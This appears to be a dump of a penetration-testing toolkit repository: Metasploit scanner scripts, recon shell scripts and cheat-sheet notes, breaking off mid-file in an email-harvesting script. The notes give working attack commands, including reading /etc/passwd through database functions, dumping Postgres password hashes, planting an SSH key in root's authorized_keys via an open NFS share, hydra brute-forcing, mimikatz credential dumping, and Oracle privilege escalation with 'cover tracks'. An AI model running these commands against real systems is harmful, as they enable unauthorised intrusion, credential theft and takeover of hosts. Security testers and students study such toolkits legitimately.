auxiliary/scanner/vmware/esx_fingerprint 6 | run 7 | 8 | use auxiliary/scanner/vmware/vmware_enum_permissions 9 | run 10 | 11 | use auxiliary/scanner/vmware/vmware_enum_sessions 12 | run 13 | 14 | use auxiliary/scanner/vmware/vmware_enum_users 15 | run 16 | 17 | use auxiliary/scanner/vmware/vmware_enum_vms 18 | run 19 | 20 | use auxiliary/scanner/vmware/vmware_host_details 21 | run 22 | 23 | use auxiliary/scanner/vmware/vmware_screenshot_stealer 24 | run 25 | -------------------------------------------------------------------------------- /notes/databases.txt: -------------------------------------------------------------------------------- 1 | Databases 2 | 3 | 4 | # MySQL 5 | 6 | mysql -h-u -p 7 | show databases; 8 | use 9 | show tables; 10 | SELECT * FROM 11 | SELECT LOAD_FILE('/etc/passwd')\g 12 | ------------------------------------------------------------------------------------------------------ 13 | 14 | # Postgresql 15 | 16 | psql -h
-U -d 17 | -W 18 | select username, passwd from pg_shadow; 19 | select current_database(); 20 | create table test (input TEXT); copy test from '/etc/passwd'; select input from test; 21 | 22 | -------------------------------------------------------------------------------- /notes/hack3rcon/open-list.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | clear 3 | 4 | echo 5 | echo 6 | echo -n "Enter location of list: " 7 | read location 8 | 9 | # Check for no response 10 | if [ -z $location ]; then 11 | echo 12 | echo "You did not enter a location." 13 | exit 14 | fi 15 | 16 | # Check for wrong location 17 | if [ ! -f $location ]; then 18 | echo 19 | echo "The file does not exist." 20 | exit 21 | fi 22 | 23 | firefox & 24 | sleep 4 25 | 26 | # Read a list and open each line in a new tab 27 | for i in $(cat $location); do 28 | firefox -new-tab $i & 29 | sleep 1 30 | done 31 | -------------------------------------------------------------------------------- /misc/dns-transfer.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | clear 4 | echo 5 | echo "DNS Transfer" 6 | echo 7 | echo 8 | echo "By Lee Baird" 9 | echo 10 | echo "Check for DNS zone transfer." 11 | echo 12 | echo "Usage: target.com" 13 | echo 14 | 15 | read -p "Domain: " domain 16 | 17 | if [ -z $domain ]; then 18 | echo 19 | echo "#########################" 20 | echo 21 | echo "Invalid choice." 22 | echo 23 | exit 24 | fi 25 | 26 | echo 27 | echo "#########################" 28 | echo 29 | 30 | for x in $(host -t ns $domain | cut -d ' ' -f4); do 31 | host -l $domain $x 32 | done 33 | 34 | echo 35 | echo 36 | -------------------------------------------------------------------------------- /notes/hack3rcon/main.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | clear 3 | 4 | echo 5 | echo 6 | echo "Welcome to Hack3rcon5." 7 | echo "This is my master script." 8 | echo 9 | echo 10 | echo "1. Recon domain" 11 | echo "2. Recon people" 12 | echo "3. Open a list of URLs in Firefox" 13 | echo "4. Open a domain's robot.txt in Firefox" 14 | echo "5. Nmap" 15 | echo 16 | echo -n "Choice: " 17 | read choice 18 | 19 | echo $choice 20 | 21 | case $choice in 22 | 1) ./recon-domain.sh ;; 23 | 2) ./recon-people.sh ;; 24 | 3) ./open-list.sh ;; 25 | 4) ./robots.sh ;; 26 | 5) ./nmap.sh ;; 27 | *) echo; echo "Invalid choice."; echo 28 | esac 29 | -------------------------------------------------------------------------------- /notes/hack3rcon/recon-domain.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | clear 3 | 4 | echo 5 | echo 6 | echo -n "Enter a domain: " 7 | read domain 8 | 9 | # Check for no response 10 | if [ -z $domain ]; then 11 | echo 12 | echo "You did not enter a domain." 13 | exit 14 | fi 15 | 16 | echo 17 | echo "Starting recon on $domain." 18 | echo 19 | read -p "Press to continue." 20 | 21 | firefox & 22 | sleep 4 23 | firefox -new-tab http://www.intodns.com/$domain & 24 | sleep 1 25 | firefox -new-tab http://mxtoolbox.com/SuperTool.aspx?action=dns%3a$domain&run=toolpage & 26 | sleep 1 27 | firefox -new-tab http://viewdns.info/dnsreport/?domain=$domain & 28 | -------------------------------------------------------------------------------- /misc/ping-sweep.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | clear 4 | echo 5 | echo "PIng Sweep" 6 | echo 7 | echo 8 | echo "By Lee Baird" 9 | echo 10 | echo "Find live hosts in a Class C." 11 | echo 12 | echo "Usage: 192.168.1" 13 | echo 14 | 15 | read -p "Class: " class 16 | 17 | if [ -z $class ]; then 18 | echo 19 | echo "#########################" 20 | echo 21 | echo "Invalid choice." 22 | echo 23 | exit 24 | fi 25 | 26 | echo 27 | echo "#########################" 28 | echo 29 | 30 | for x in `seq 1 254`; do 31 | ping -c 2 $class.$x | grep 'bytes from' | cut -d ' ' -f4 | cut -d ':' -f1 & 32 | done 33 | 34 | echo 35 | echo 36 | 37 | -------------------------------------------------------------------------------- /notes/unix.txt: -------------------------------------------------------------------------------- 1 | Unix 2 | 3 | 4 | # NFS Shares Anonymous Mountable 5 | 6 | showmount -e 7 | 8 | mkdir /tmp/test 9 | mount -t nfs -o nolock :/share /tmp/test/ 10 | cat /root/.ssh/id_rsa.pub >> /tmp/test/root/.ssh/authorized_keys 11 | umount /tmp/test 12 | ssh root@ 13 | ------------------------------------------------------------------------------------------------------ 14 | 15 | # Rstatd enabled 16 | 17 | rsysinfo 18 | ------------------------------------------------------------------------------------------------------ 19 | 20 | # Samba with a writeable file share 21 | 22 | smbclient -L // 23 | 24 | -------------------------------------------------------------------------------- /misc/dns-reverse.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | clear 4 | echo 5 | echo "DNS Reverse" 6 | echo 7 | echo 8 | echo "By Lee Baird" 9 | echo 10 | echo "Perform a PTR DNS query on a Class C range and return FQDNs." 11 | echo 12 | echo "Usage: 192.168.1" 13 | echo 14 | 15 | read -p "Class: " class 16 | 17 | if [ -z $class ]; then 18 | echo 19 | echo "#########################" 20 | echo 21 | echo "Invalid choice." 22 | echo 23 | exit 24 | fi 25 | 26 | echo 27 | echo "#########################" 28 | echo 29 | 30 | for x in `seq 1 254`; do 31 | host $class.$x | grep 'name pointer' | cut -d ' ' -f1,5 32 | done 33 | 34 | echo 35 | echo 36 | 37 | -------------------------------------------------------------------------------- /resource/smb.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 445 4 | 5 | use auxiliary/scanner/smb/pipe_auditor 6 | run 7 | 8 | use auxiliary/scanner/smb/pipe_dcerpc_auditor 9 | run 10 | 11 | use auxiliary/scanner/smb/psexec_loggedin_users 12 | run 13 | 14 | use auxiliary/scanner/smb/smb2 15 | run 16 | 17 | use auxiliary/scanner/smb/smb_enumshares 18 | run 19 | 20 | use auxiliary/scanner/smb/smb_enumusers_domain 21 | run 22 | 23 | use auxiliary/scanner/smb/smb_enumusers 24 | run 25 | 26 | use auxiliary/scanner/smb/smb_login 27 | run 28 | 29 | use auxiliary/scanner/smb/smb_lookupsid 30 | run 31 | 32 | use auxiliary/scanner/smb/smb_version 33 | run 34 | -------------------------------------------------------------------------------- /misc/dns-forward.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | clear 4 | echo 5 | echo "DNS Forward" 6 | echo 7 | echo 8 | echo "By Lee Baird" 9 | echo 10 | echo "Show IP addresses of subdomains." 11 | echo 12 | echo "Usage: target.com" 13 | echo 14 | 15 | read -p "Domain: " domain 16 | 17 | if [ -z $domain ]; then 18 | echo 19 | echo "#########################" 20 | echo 21 | echo "Invalid choice." 22 | echo 23 | exit 24 | fi 25 | 26 | echo 27 | echo "#########################" 28 | echo 29 | 30 | for x in $(cat /usr/share/dnsenum/dns.txt); do 31 | host $x.$domain | grep 'has address' | cut -d ' ' -f1,4 >> tmp 32 | done 33 | 34 | column -t tmp | sort -u 35 | 36 | rm tmp 37 | 38 | echo 39 | echo 40 | 41 | -------------------------------------------------------------------------------- /notes/hack3rcon/robots.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | clear 3 | 4 | rm robots.txt tmp 2>/dev/null 5 | 6 | echo 7 | echo 8 | echo -n "Enter a domain: " 9 | read domain 10 | 11 | # Check for no response 12 | if [ -z $domain ]; then 13 | echo 14 | echo "You did not enter a domain." 15 | exit 16 | fi 17 | 18 | wget -q $domain/robots.txt 19 | 20 | # awk example 21 | cat robots.txt | grep 'Disallow' | awk '{print $2}' > tmp 22 | 23 | # cut example 24 | #cat robots.txt | grep 'Disallow' | cut -d ' ' -f2 > tmp 25 | 26 | firefox & 27 | sleep 4 28 | 29 | # Read a list and open each line in a new tab 30 | for i in $(cat tmp); do 31 | firefox -new-tab http://www.$domain$i & 32 | sleep1 33 | done 34 | 35 | rm robots.txt tmp 36 | -------------------------------------------------------------------------------- /notes/ssl.txt: -------------------------------------------------------------------------------- 1 | SSL 2 | 3 | 4 | Redirect 5 | Examine the response of a 301 message or Javascript. 6 | curl -vvvv http://target.com 7 | ------------------------------------------------------------------------------------------------------ 8 | 9 | Renegotiating (NULL-SHA or NULL-MD5) 10 | 11 | sslscan --no-failed 12 | 13 | sslscan --targets=443.txt --no-failed 14 | 15 | openssl s_client -connect target:443 16 | 17 | telnet 443 18 | GET / HTTP/1.0 19 | R 20 | ------------------------------------------------------------------------------------------------------ 21 | 22 | paste 443.txt | while read IP port; do echo "----START "$IP":"$port"----"; echo -e "HEAD / HTTP/1.0\nR\n\n" | ncat --ssl "$IP" "$port"; echo -e "\$ 23 | 24 | -------------------------------------------------------------------------------- /resource/snmp.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 161 4 | 5 | use auxiliary/scanner/misc/oki_scanner 6 | run 7 | 8 | use auxiliary/scanner/snmp/aix_version 9 | run 10 | 11 | use auxiliary/scanner/snmp/brocade_enumhash 12 | run 13 | 14 | use auxiliary/scanner/snmp/cisco_config_tftp 15 | run 16 | 17 | use auxiliary/scanner/snmp/cisco_upload_file 18 | echo 'Hello world!' > /tmp/test.txt 19 | set SOURCE /tmp/test.txt 20 | run 21 | 22 | use auxiliary/scanner/snmp/netopia_enum 23 | run 24 | 25 | use auxiliary/scanner/snmp/snmp_enum 26 | run 27 | 28 | use auxiliary/scanner/snmp/snmp_enumshares 29 | run 30 | 31 | use auxiliary/scanner/snmp/snmp_enumusers 32 | run 33 | 34 | use auxiliary/scanner/snmp/ubee_ddw3611 35 | run 36 | 37 | use auxiliary/scanner/snmp/xerox_workcentre_enumusers 38 | run 39 | -------------------------------------------------------------------------------- /misc/crawl.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | clear 4 | echo 5 | echo "Crawl" 6 | echo 7 | echo 8 | echo "By Lee Baird" 9 | echo 10 | echo "Returns a list of IP external web servers that are linked from home page." 11 | echo 12 | echo "Usage: target.com" 13 | echo 14 | 15 | read -p "Domain: " domain 16 | 17 | if [ -z $domain ]; then 18 | echo 19 | echo "#########################" 20 | echo 21 | echo "Invalid choice." 22 | echo 23 | exit 24 | fi 25 | 26 | echo 27 | echo "#########################" 28 | echo 29 | 30 | wget -q www.$domain 31 | 32 | grep 'href=' index.html | cut -d '/' -f3 | grep $domain | cut -d '"' -f1 | sort -u > tmp 33 | 34 | for x in $(cat tmp); do 35 | host $x | grep 'has address' | cut -d ' ' -f1,4 >> tmp2 36 | done 37 | 38 | column -t tmp2 | sort -u 39 | 40 | rm index.html tmp* 41 | 42 | echo 43 | echo 44 | 45 | -------------------------------------------------------------------------------- /notes/hack3rcon/recon-people.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | clear 3 | 4 | echo 5 | echo 6 | echo -n "First name: " 7 | read fname 8 | 9 | # Check for no response 10 | if [ -z $fname ]; then 11 | echo 12 | echo "You did not enter a first name." 13 | exit 14 | fi 15 | 16 | echo 17 | echo -n "Last name: " 18 | read lname 19 | 20 | # Check for no response 21 | if [ -z $lname ]; then 22 | echo 23 | echo "You did not enter a last name." 24 | exit 25 | fi 26 | 27 | echo 28 | echo "Starting recon on $fname $lname." 29 | echo 30 | read -p "Press to continue." 31 | 32 | firefox & 33 | sleep 4 34 | firefox -new-tab http://www.411.com/name/$fname-$lname/ & 35 | sleep 1 36 | firefox -new-tab http://www.cvgadget.com/person/$fname/$lname & 37 | sleep 1 38 | firefox -new-tab https://pipl.com/search/?q=$fname+$lname & 39 | sleep 1 40 | firefox -new-tab http://www.zabasearch.com/people/$fname+$lname/ & 41 | -------------------------------------------------------------------------------- /misc/python/test.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | f = open('tmp','r') # Setup a read connection to file 4 | filedata = f.read() # Read the file 5 | f.close() # Close the connection 6 | filedata = filedata.split('\n') # Turn into a list 7 | 8 | ############################## 9 | 10 | out = [] # Create an empty array 11 | 12 | for i in filedata: 13 | if '@' in i: # grep '@' 14 | if not 'apples' in i: # grep -v 'apples' 15 | out.append(i.lower()) # Append to array and change to lower case 16 | 17 | out = list(set(out)) # Make list unique 18 | out.sort() # Sort 19 | 20 | for j in out: 21 | print j 22 | 23 | -------------------------------------------------------------------------------- /notes/exploits.txt: -------------------------------------------------------------------------------- 1 | Exploits 2 | 3 | 4 | cd /usr/share/exploitdb/ 5 | searchsploit 6 | searchsploit sshd remote 1.2 7 | 8 | Choose your exploit and copy it to a working location. 9 | cp platforms/windows/remote/5751.pl /root/exploit.pl 10 | ------------------------------------------------------------------------------------------------------ 11 | 12 | # Headers 13 | 14 | Some exploits may be written for compilation under Windows, while others for Linux. 15 | You can identify the environment by inspecting the headers. 16 | 17 | Linux - arpa/inet.h, fcntl.h, netdb.h, netinet/in.h, sys/sockt.h, sys/types.h, unistd.h 18 | 19 | Windows - process.h, string.h, winbase.h, windows.h, winsock2.h 20 | ------------------------------------------------------------------------------------------------------ 21 | 22 | # Grep out Windows headers, to leave only Linux based exploits. 23 | 24 | cat sploitlist.txt | grep -i 'exploit' | cut -d ' ' -f1 | xargs grep 'sys' | cut -d ':' -f1 | sort -u 25 | 26 | -------------------------------------------------------------------------------- /notes/snmp.txt: -------------------------------------------------------------------------------- 1 | SNMP 2 | 3 | 4 | # Default or Guessable SNMP Community Strings 5 | 6 | onesixtyone -c -i 7 | 8 | snmpcheck.pl -t 9 | ------------------------------------------------------------------------------------------------------ 10 | 11 | # Read-only Community String of 'public' 12 | 13 | snmpwalk -c public -v1 # Enumerating MIB tree 14 | # MS Windows parameters 15 | snmpwalk -c public -v1 1.3.6.1.2.1.25.1.6.0 # System processes 16 | snmpwalk -c public -v1 1.3.6.1.2.1.25.4.2.1.2 # Running processes 17 | snmpwalk -c public -v1 1.3.6.1.2.1.25.4.2.1.4 # Processes path 18 | snmpwalk -c public -v1 1.3.6.1.2.1.25.2.3.1.4 # Storage units 19 | snmpwalk -c public -v1 1.3.6.1.2.1.25.6.3.1.2 # Software name 20 | snmpwalk -c public -v1 1.3.6.1.4.1.77.1.2.25 # User accounts 21 | snmpwalk -c public -v1 1.3.6.1.2.1.6.13.1.3 # TCP local port 22 | 23 | -------------------------------------------------------------------------------- /utfdictcsv.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import csv 4 | import cStringIO 5 | import codecs 6 | 7 | class DictUnicodeWriter(object): 8 | 9 | def __init__(self, f, fieldnames, dialect=csv.excel, encoding="utf-8", **kwds): 10 | # Redirect output to a queue 11 | self.queue = cStringIO.StringIO() 12 | self.writer = csv.DictWriter(self.queue, fieldnames, dialect=dialect, **kwds) 13 | self.stream = f 14 | self.encoder = codecs.getincrementalencoder(encoding)() 15 | 16 | def writerow(self, D): 17 | self.writer.writerow({k:v.encode("utf-8") for k, v in D.items()}) 18 | # Fetch UTF-8 output from the queue ... 19 | data = self.queue.getvalue() 20 | data = data.decode("utf-8") 21 | # ... and reencode it into the target encoding 22 | data = self.encoder.encode(data) 23 | # write to the target stream 24 | self.stream.write(data) 25 | # empty queue 26 | self.queue.truncate(0) 27 | 28 | def writerows(self, rows): 29 | for D in rows: 30 | self.writerow(D) 31 | 32 | def writeheader(self): 33 | self.writer.writeheader() -------------------------------------------------------------------------------- /misc/python/ex2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import os 4 | from xml.dom.minidom import parse 5 | import xml.dom.minidom 6 | 7 | os.system('clear') 8 | 9 | # Open XML document using minidom parser 10 | DOMTree = xml.dom.minidom.parse('movies.xml') 11 | collection = DOMTree.documentElement 12 | if collection.hasAttribute('shelf'): 13 | print '\n\nRoot element: %s\n' % collection.getAttribute('shelf') 14 | 15 | # Get all the movies in the collection 16 | movies = collection.getElementsByTagName('movie') 17 | 18 | # Print details of each movie. 19 | for movie in movies: 20 | print '***** Movie *****' 21 | if movie.hasAttribute('title'): 22 | print 'Title: %s' % movie.getAttribute('title') 23 | 24 | type = movie.getElementsByTagName('type')[0] 25 | print 'Type: %s' % type.childNodes[0].data 26 | format = movie.getElementsByTagName('format')[0] 27 | print 'Format: %s' % format.childNodes[0].data 28 | rating = movie.getElementsByTagName('rating')[0] 29 | print 'Rating: %s' % rating.childNodes[0].data 30 | description = movie.getElementsByTagName('description')[0] 31 | print 'Description: %s' % description.childNodes[0].data 32 | 33 | -------------------------------------------------------------------------------- /alias: -------------------------------------------------------------------------------- 1 | # To enable these aliases or when you modify this file: 2 | # cp /opt/discover/alias /root/.bash_aliases ; source /root/.bash_aliases 3 | 4 | dns=$(grep 'nameserver' /etc/resolv.conf | awk '{print $2}') 5 | interface=$(ifconfig | grep -B1 'inet addr' | egrep -v '(-|inet addr|Loopback)' | cut -d ' ' -f1) 6 | ip=$(ifconfig | grep 'Bcast' | awk '{print$2}' | cut -d ':' -f2) 7 | mac=$(ifconfig | grep -B1 'inet addr' | egrep -v '(-|inet addr|Loopback)' | awk '{print$5}') 8 | 9 | alias c='clear' 10 | alias cl='clear ; ls -l' 11 | alias d='cd /root/Desktop/ ; clear' 12 | alias e='exit' 13 | alias i='echo ; echo ; echo "DNS " $dns ; echo ; ifconfig ; ping google.com -c3 ; echo ; echo' 14 | alias l='ls -l' 15 | alias n='echo ; netstat -antup | egrep -v "Active" ; echo ; 16 | echo -n "Interface: "$interface ; echo ; 17 | echo -n "MAC address: "$mac ; echo ; 18 | echo -n "Internal IP: "$ip ; echo ; 19 | echo -n "External IP: " ; curl ifconfig.me ; echo' 20 | alias r='cd /root/ ; clear' 21 | alias s='cd /opt/discover/ ; clear' 22 | 23 | alias nexpose='service postgresql stop ; cd /opt/rapid7/nexpose/nsc ; ./nsc.sh' 24 | 25 | alias sip='sort -V' 26 | 27 | alias update='/opt/discover/update.sh' 28 | -------------------------------------------------------------------------------- /notes/hack3rcon/nmap.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | clear 3 | 4 | echo 5 | echo 6 | echo "1. CIDR, IP or URL" 7 | echo "2. List" 8 | echo "3. Previous menu" 9 | echo 10 | echo -n "Choice: " 11 | read choice 12 | 13 | case $choice in 14 | 1) 15 | echo 16 | echo -n "Enter a CIDR, IP or URL: " 17 | read target 18 | 19 | # Check for no response 20 | if [ -z $target ]; then 21 | echo 22 | echo "You did not enter anything." 23 | exit 24 | fi 25 | 26 | nmap -Pn -n -T4 --open -sV --stats-every 10s $target -oN scan.txt 27 | ;; 28 | 29 | 2) 30 | echo 31 | echo -n "Enter the location of your list: " 32 | read location 33 | 34 | # Check for no response 35 | if [ -z $location ]; then 36 | echo 37 | echo "You did not enter a location." 38 | exit 39 | fi 40 | 41 | # Check for wrong location 42 | if [ ! -f $location ]; then 43 | echo 44 | echo "The file does not exist." 45 | exit 46 | fi 47 | 48 | nmap -Pn -n -T4 --open -sV --stats-every 10s -iL $location -oN scan.txt 49 | ;; 50 | 51 | 3) ./main.sh ;; 52 | 53 | *) echo; echo "Invalid choice."; echo 54 | esac 55 | -------------------------------------------------------------------------------- /notes/insecure-protocols.txt: -------------------------------------------------------------------------------- 1 | Insecure Protocols 2 | 3 | 4 | # FTP access with admin/null credentials 5 | 6 | ftp admin@ 7 | user 8 | admin 9 | pwd 10 | 11 | telnet 21 12 | user admin 13 | pass 14 | id; 15 | ------------------------------------------------------------------------------------------------------ 16 | 17 | # FTP on non-standard port 18 | 19 | ftp 20 | ------------------------------------------------------------------------------------------------------ 21 | 22 | # FTP server does not support AUTH command 23 | 24 | telnet 21 25 | AUTH test 26 | ------------------------------------------------------------------------------------------------------ 27 | 28 | # Rservices 29 | 30 | 513/tcp 31 | apt-get install rsh-client 32 | rlogin -l root 33 | ------------------------------------------------------------------------------------------------------ 34 | 35 | # SSH Protocol v1 36 | 37 | nmap -Pn -n -T4 -p22 --script=sshv1 38 | 39 | ssh -1 40 | ------------------------------------------------------------------------------------------------------ 41 | 42 | # X11 43 | 44 | nmap -Pn -n -T4 -p6000 --script=x11-access 45 | 46 | xspy 47 | 48 | -------------------------------------------------------------------------------- /resource/recon-ng/passive.rc: -------------------------------------------------------------------------------- 1 | workspaces add yyy 2 | add companies 3 | xxx 4 | none 5 | add domains 6 | yyy 7 | 8 | use recon/domains-hosts/baidu_site 9 | run 10 | 11 | use recon/domains-hosts/bing_domain_api 12 | run 13 | 14 | use recon/domains-hosts/bing_domain_web 15 | run 16 | 17 | use recon/domains-hosts/google_site_api 18 | run 19 | 20 | use recon/domains-hosts/google_site_web 21 | run 22 | 23 | use recon/domains-hosts/netcraft 24 | run 25 | 26 | use recon/domains-hosts/shodan_hostname 27 | run 28 | 29 | use recon/domains-hosts/yahoo_site 30 | run 31 | 32 | use recon/domains-vulnerabilities/punkspider 33 | run 34 | 35 | use recon/domains-vulnerabilities/xssed 36 | run 37 | 38 | use recon/hosts-hosts/bing_ip 39 | run 40 | 41 | use recon/hosts-hosts/ip_neighbor 42 | run 43 | 44 | use recon/hosts-hosts/ipinfodb 45 | run 46 | 47 | use recon/hosts-hosts/resolve 48 | run 49 | 50 | use recon/domains-contacts/builtwith 51 | run 52 | 53 | use recon/domains-contacts/pgp_search 54 | run 55 | 56 | use recon/domains-contacts/whois_pocs 57 | run 58 | 59 | use recon/companies-contacts/facebook 60 | run 61 | 62 | use recon/contacts-contacts/rapportive 63 | run 64 | 65 | use recon/contacts-creds/haveibeenpwned 66 | run 67 | 68 | use recon/contacts-creds/pwnedlist 69 | run 70 | 71 | use recon/contacts-creds/should_change_password 72 | run 73 | -------------------------------------------------------------------------------- /notes/dns.txt: -------------------------------------------------------------------------------- 1 | DNS 2 | 3 | 4 | # General 5 | 6 | dig target.com # a, mx, ns, soa, srv, txt, any 7 | dig -x # Pointer records 8 | dig @nameserverIP target.com axfr # Zone transfer 9 | dig @nameserverIP target.com afro # Forward zone transfer 10 | 11 | host -t ns target.com # Show name servers 12 | host -t mx target.com # Show mail servers 13 | host www.target.com 14 | host -l target.com # Zone transfer 15 | ------------------------------------------------------------------------------------------------------ 16 | 17 | # Cache snooping 18 | 19 | host -r www.google.com 20 | ------------------------------------------------------------------------------------------------------ 21 | 22 | # DNS cache poisioning 23 | 24 | for i in `53.txt`; do dig @"$i" +short porttest.dns-oarc.net TXT; done; > CachePoison.txt 25 | ------------------------------------------------------------------------------------------------------ 26 | 27 | # Non-recursive DNS queries 28 | 29 | for i in `cat 53.txt`; do dig @"$i" www.google.com A +norecurse; done > NonRecurive.txt 30 | ------------------------------------------------------------------------------------------------------ 31 | 32 | # Open DNS resolution against a DNS server. 33 | 34 | Supply a hostname not cached or inside a company owned domain. 35 | nslookup www.nsa.gov 36 | ------------------------------------------------------------------------------------------------------ 37 | 38 | # Spoofed request amplification DDoS 39 | 40 | for i in `cat 53.txt`; do dig @"$i" . NS; done > AmpDDoS.txt 41 | 42 | -------------------------------------------------------------------------------- /notes/passwords.txt: -------------------------------------------------------------------------------- 1 | Passwords 2 | 3 | 4 | # Cracking 5 | john -w=/usr/share/wordlists/rockyou.txt --format= 6 | 7 | hashcat -m 5600 -a 1 -r /usr/share/hashcat/rules/combinator.rule 8 | 9 | hydra -L -P -M 10 | hydra -l -p 11 | hydra -l root -P /usr/share/wordlists/rockyou.txt -M 3389.txt rdp 12 | 13 | hydra -l administrator -p admin -M /root/Desktop/target.txt http-form-post "/teamquest/cgi-bin/login:username=^USER^&pass=^PASS^:S=302 Found" -s 2780 14 | hydra -l administrator -p admin 10.0.0.10 http-form-post "/teamquest/cgi-bin/login:username=^USER^&pass=^PASS^:S=302 Found" -s 2780 15 | ------------------------------------------------------------------------------------------------------ 16 | 17 | # Dump Hashes 18 | 19 | fgdump, pwdump6, pwdump7, smbexec, wce 20 | 21 | mimikatz 22 | priviledge::debug 23 | sekurlsa::logonpasswords 24 | ------------------------------------------------------------------------------------------------------ 25 | 26 | # Sniffing 27 | 28 | responder -i -r On -w On 29 | ------------------------------------------------------------------------------------------------------ 30 | 31 | # Windows Credential Editor (WCE) 32 | 33 | How do I change my current NTLM credentials? 34 | wce.exe -s : : : 35 | 36 | How do I create a new logon session and launch a program with new NTLM credentials? 37 | wce.exe -s : : : -c 38 | 39 | How can I generate NTLM hashes with WCE? (for testing purposes) 40 | wce.exe -g 41 | 42 | How can I write hashes obtained by WCE to a file? 43 | wce.exe -o hashes.txt 44 | -------------------------------------------------------------------------------- /notes/maltego.txt: -------------------------------------------------------------------------------- 1 | Maltego 2 | 3 | 4 | Use the scroll wheel to zoom in and out. 5 | Hold down the right mouse button to move around. 6 | ------------------------------------------------------------------------------------------------------ 7 | 8 | # Example 1 9 | 10 | Select Domain from the Entities palette on the left and drag the icon to the right. 11 | Edit the domain to your target. 12 | Right click > Run Transform > ... 13 | Email addresses from Domain > All 14 | 15 | DNS from Domain > All 16 | ctrl + down to select servers > Resolve to IP > All 17 | ctrl + down to select IPs > DNS from IP > All 18 | ctrl + down to select servers > Convert to Domain > All 19 | ctrl + down to select domains > Email addresses from Domain > All 20 | Select all emails > Other transforms > To Person, emailToMyspaceAccount, emailToFlickerAccount 21 | ------------------------------------------------------------------------------------------------------ 22 | 23 | # Example 2 24 | 25 | Select IPv4 Address from the Entities palette on the left and drag the icon to the right. 26 | Edit the IP address to your target. 27 | Right click > Run Transform > ... 28 | DNS from IP > All in this set 29 | ------------------------------------------------------------------------------------------------------ 30 | 31 | Add a Domain > edit name to your target (www.target.com) 32 | 33 | # Example 3 34 | 35 | Right click (RC) > Run Transform > All Transforms > To Domain [Find other TLDs] 36 | Select all TLDs > Run Transform > All Transforms > To Website [Quick lookup] 37 | 38 | Select all websites > Run Transform > All Transforms > To IP Address [DNS] 39 | ------------------------------------------------------------------------------------------------------ 40 | 41 | # Example 4 42 | 43 | RC > Run Transform > DNS from Domain > All in this set 44 | Select all > Run Transform > All Transforms > To IP Address [DNS] 45 | Select all IP addresses > Run Transform > All Transforms > To Netblock [Using whois info] 46 | 47 | -------------------------------------------------------------------------------- /notes/oracle.txt: -------------------------------------------------------------------------------- 1 | Oracle 2 | 3 | 4 | 1. Locate a system running Oracle. 5 | 2. Determine Oracle version. 6 | 3. Determine Oracle SID. 7 | 4. Guess/Bruteforce USERNAME/PASS. 8 | 5. Privilege escalation via SQL injection. 9 | 6. Manipulate data/post exploitation. 10 | 7. Cover tracks. 11 | ------------------------------------------------------------------------------------------------------ 12 | 13 | 1. nmap -Pn -n -T4 --open -p1521 14 | 15 | 2. Example 1 16 | msf > use auxiliary/scanner/oracle/tnslsnr_version 17 | db_notes 18 | 19 | Example 2 20 | tnscmd10g version -h 21 | tnscmd10g status -h 22 | Look for the version, LOGFILE, TRACING and PORT. 23 | 24 | 3. Example 1 25 | msf > use auxiliary/scanner/oracle/sid_enum 26 | msf > use auxiliary/admin/oracle/sid_brute 27 | 28 | Example 2 29 | sidguess -i -d /usr/share/metasploit-framework/data/wordlists/sid.txt 30 | 31 | Example 3 32 | http:// :8080/oradb/PUBLIC/GLOBAL_NAME 33 | 34 | 4. Example 1 35 | msf > use auxiliary/admin/oracle/login_brute 36 | set SID 37 | 38 | Example 2 39 | sqlplus / @ : / 40 | 41 | 5. msf > use auxiliary/admin/oracle/sql 42 | set DBUSER 43 | set DBPASS 44 | set SID 45 | set SQL select * from user_role_privs 46 | 47 | msf > use auxiliary/admin/oracle/pushin/lt_findricset_cursor 48 | set DBUSER 49 | set DBPASS 50 | set SID 51 | set SQL GRANT DBA TO 52 | set SQL GRANT JAVASYSPRIV TO 53 | 54 | 6. select * from v$version; -- Oracle version 55 | select * from dba_registry_history; -- Oracle patch level 56 | select * from all_users; -- usernames 57 | select owner,table_name from all_tables; -- tables 58 | select * from session_roles; -- session roles 59 | desc utl_http -- describes database objects 60 | 61 | 62 | http://www.youtube.com/watch?v=SVvAvmjT7V4#t=1535 63 | 64 | -------------------------------------------------------------------------------- /mods/goog-mail.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import sys 4 | import re 5 | import string 6 | import httplib 7 | import urllib2 8 | 9 | def StripTags(text): 10 | finished = 0 11 | while not finished: 12 | finished = 1 13 | start = text.find("<") 14 | if start >= 0: 15 | stop = text[start:].find(">") 16 | if stop >= 0: 17 | text = text[:start] + text[start+stop+1:] 18 | finished = 0 19 | return text 20 | if len(sys.argv) != 2: 21 | print "\nExtracts emails from Google results.\n" 22 | print "\nUsage: ./goog-mail.py \n" 23 | sys.exit(1) 24 | 25 | domain_name=sys.argv[1] 26 | d={} 27 | page_counter = 0 28 | try: 29 | while page_counter < 50 : 30 | results = 'http://groups.google.com/groups?q='+str(domain_name)+'&hl=en&lr=&ie=UTF-8&start=' + repr(page_counter) + '&sa=N' 31 | request = urllib2.Request(results) 32 | request.add_header('User-Agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)') 33 | opener = urllib2.build_opener() 34 | text = opener.open(request).read() 35 | emails = (re.findall('([\w\.\-]+@'+domain_name+')',StripTags(text))) 36 | for email in emails: 37 | d[email]=1 38 | uniq_emails=d.keys() 39 | page_counter = page_counter +10 40 | except IOError: 41 | print 